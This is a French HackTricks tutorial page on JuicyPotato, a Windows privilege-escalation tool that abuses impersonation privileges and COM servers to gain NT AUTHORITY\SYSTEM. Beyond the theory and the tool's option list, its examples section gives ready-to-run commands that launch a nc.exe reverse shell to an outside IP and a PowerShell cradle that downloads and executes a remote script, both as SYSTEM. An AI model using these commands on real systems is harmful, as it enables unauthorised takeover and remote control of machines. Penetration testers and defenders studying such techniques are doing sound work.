11 KiB
JuicyPotato
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- Travaillez-vous dans une entreprise de cybersécurité ? Voulez-vous voir votre entreprise annoncée dans HackTricks ? ou voulez-vous avoir accès à la dernière version de PEASS ou télécharger HackTricks en PDF ? Consultez les PLANS D'ABONNEMENT!
- Découvrez The PEASS Family, notre collection exclusive de NFTs
- Obtenez le swag officiel PEASS & HackTricks
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez moi sur Twitter 🐦@carlospolopm.
- Partagez vos astuces de piratage en soumettant des PR au repo hacktricks et au repo hacktricks-cloud.
{% hint style="warning" %}
JuicyPotato ne fonctionne pas sur Windows Server 2019 et Windows 10 build 1809 et plus. Cependant, PrintSpoofer, RoguePotato, SharpEfsPotato peuvent être utilisés pour exploiter les mêmes privilèges et obtenir un accès de niveau NT AUTHORITY\SYSTEM
. Vérifier :
{% endhint %}
{% content-ref url="roguepotato-and-printspoofer.md" %} roguepotato-and-printspoofer.md {% endcontent-ref %}
Juicy Potato (abus des privilèges dorés)
Une version sucrée de RottenPotatoNG, avec un peu de jus, c'est-à-dire un autre outil d'escalade de privilèges locaux, à partir de comptes de service Windows vers NT AUTHORITY\SYSTEM
Vous pouvez télécharger juicypotato depuis https://ci.appveyor.com/project/ohpe/juicy-potato/build/artifacts
Résumé
RottenPotatoNG et ses variantes exploitent la chaîne d'escalade de privilèges basée sur le service BITS
service ayant l'écouteur MiTM sur 127.0.0.1:6666
et lorsque vous avez les privilèges SeImpersonate
ou SeAssignPrimaryToken
. Lors d'une revue de construction Windows, nous avons trouvé une configuration où BITS
était intentionnellement désactivé et le port 6666
était pris.
Nous avons décidé de transformer RottenPotatoNG en arme : Dites bonjour à Juicy Potato.
Pour la théorie, voir Rotten Potato - Escalade de privilèges à partir de comptes de service vers SYSTEM et suivre la chaîne de liens et de références.
Nous avons découvert qu'en dehors de BITS
, il existe plusieurs serveurs COM que nous pouvons exploiter. Ils doivent simplement :
- être instanciables par l'utilisateur actuel, normalement un "utilisateur de service" qui a des privilèges d'impersonation
- implémenter l'interface
IMarshal
- s'exécuter en tant qu'utilisateur élevé (SYSTEM, Administrateur, ...)
Après quelques tests, nous avons obtenu et testé une liste étendue de CLSID intéressants sur plusieurs versions de Windows.
Détails juteux
JuicyPotato vous permet de :
- Cibler CLSID choisissez n'importe quel CLSID que vous voulez. Ici vous pouvez trouver la liste organisée par OS.
- Port d'écoute COM définir le port d'écoute COM que vous préférez (au lieu du 6666 codé en dur)
- Adresse IP d'écoute COM lier le serveur sur n'importe quelle IP
- Mode de création de processus en fonction des privilèges de l'utilisateur impersonné, vous pouvez choisir parmi :
CreateProcessWithToken
(nécessiteSeImpersonate
)CreateProcessAsUser
(nécessiteSeAssignPrimaryToken
)les deux
- Processus à lancer lancer un exécutable ou un script si l'exploitation réussit
- Argument de processus personnaliser les arguments du processus lancé
- Adresse du serveur RPC pour une approche furtive, vous pouvez vous authentifier auprès d'un serveur RPC externe
- Port du serveur RPC utile si vous voulez vous authentifier auprès d'un serveur externe et que le pare-feu bloque le port
135
... - Mode TEST principalement à des fins de test, c'est-à-dire tester les CLSID. Il crée le DCOM et imprime l'utilisateur du jeton. Voir ici pour les tests
Utilisation
T:\>JuicyPotato.exe
JuicyPotato v0.1
Mandatory args:
-t createprocess call: <t> CreateProcessWithTokenW, <u> CreateProcessAsUser, <*> try both
-p <program>: program to launch
-l <port>: COM server listen port
Optional args:
-m <ip>: COM server listen address (default 127.0.0.1)
-a <argument>: command line argument to pass to program (default NULL)
-k <ip>: RPC server ip address (default 127.0.0.1)
-n <port>: RPC server listen port (default 135)
Réflexions finales
Si l'utilisateur dispose des privilèges SeImpersonate
ou SeAssignPrimaryToken
, alors vous êtes SYSTEM.
Il est presque impossible d'empêcher l'abus de tous ces serveurs COM. Vous pourriez penser à modifier les autorisations de ces objets via DCOMCNFG
, mais bonne chance, cela va être difficile.
La solution réelle consiste à protéger les comptes et les applications sensibles qui s'exécutent sous les comptes * SERVICE
. L'arrêt de DCOM
inhiberait certainement cette exploitation, mais pourrait avoir un impact sérieux sur le système d'exploitation sous-jacent.
À partir de : http://ohpe.it/juicy-potato/
Exemples
Note : Visitez cette page pour une liste de CLSID à essayer.
Obtenir un shell inversé nc.exe
c:\Users\Public>JuicyPotato -l 1337 -c "{4991d34b-80a1-4291-83b6-3328366b9097}" -p c:\windows\system32\cmd.exe -a "/c c:\users\public\desktop\nc.exe -e cmd.exe 10.10.10.12 443" -t *
Testing {4991d34b-80a1-4291-83b6-3328366b9097} 1337
......
[+] authresult 0
{4991d34b-80a1-4291-83b6-3328366b9097};NT AUTHORITY\SYSTEM
[+] CreateProcessWithTokenW OK
c:\Users\Public>
Powershell inversé
.\jp.exe -l 1337 -c "{4991d34b-80a1-4291-83b6-3328366b9097}" -p c:\windows\system32\cmd.exe -a "/c powershell -ep bypass iex (New-Object Net.WebClient).DownloadString('http://10.10.14.3:8080/ipst.ps1')" -t *
Lancer une nouvelle CMD (si vous avez accès RDP)
Problèmes de CLSID
Souvent, le CLSID par défaut que JuicyPotato utilise ne fonctionne pas et l'exploit échoue. Habituellement, il faut plusieurs tentatives pour trouver un CLSID fonctionnel. Pour obtenir une liste de CLSID à essayer pour un système d'exploitation spécifique, vous devriez visiter cette page:
{% embed url="https://ohpe.it/juicy-potato/CLSID/" %}
Vérification des CLSID
Tout d'abord, vous aurez besoin de certains exécutables en plus de juicypotato.exe.
Téléchargez Join-Object.ps1 et chargez-le dans votre session PS, et téléchargez et exécutez GetCLSID.ps1. Ce script créera une liste de CLSID possibles à tester.
Ensuite, téléchargez test_clsid.bat (changez le chemin vers la liste CLSID et vers l'exécutable juicypotato) et exécutez-le. Il commencera à essayer chaque CLSID, et lorsque le numéro de port change, cela signifie que le CLSID a fonctionné.
Vérifiez les CLSID fonctionnels en utilisant le paramètre -c
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- Travaillez-vous dans une entreprise de cybersécurité ? Voulez-vous voir votre entreprise annoncée dans HackTricks ? ou voulez-vous avoir accès à la dernière version de PEASS ou télécharger HackTricks en PDF ? Consultez les PLANS D'ABONNEMENT!
- Découvrez The PEASS Family, notre collection exclusive de NFTs
- Obtenez le swag officiel PEASS & HackTricks
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez moi sur Twitter 🐦@carlospolopm.
- Partagez vos astuces de piratage en soumettant des PR au repo hacktricks et au repo hacktricks-cloud.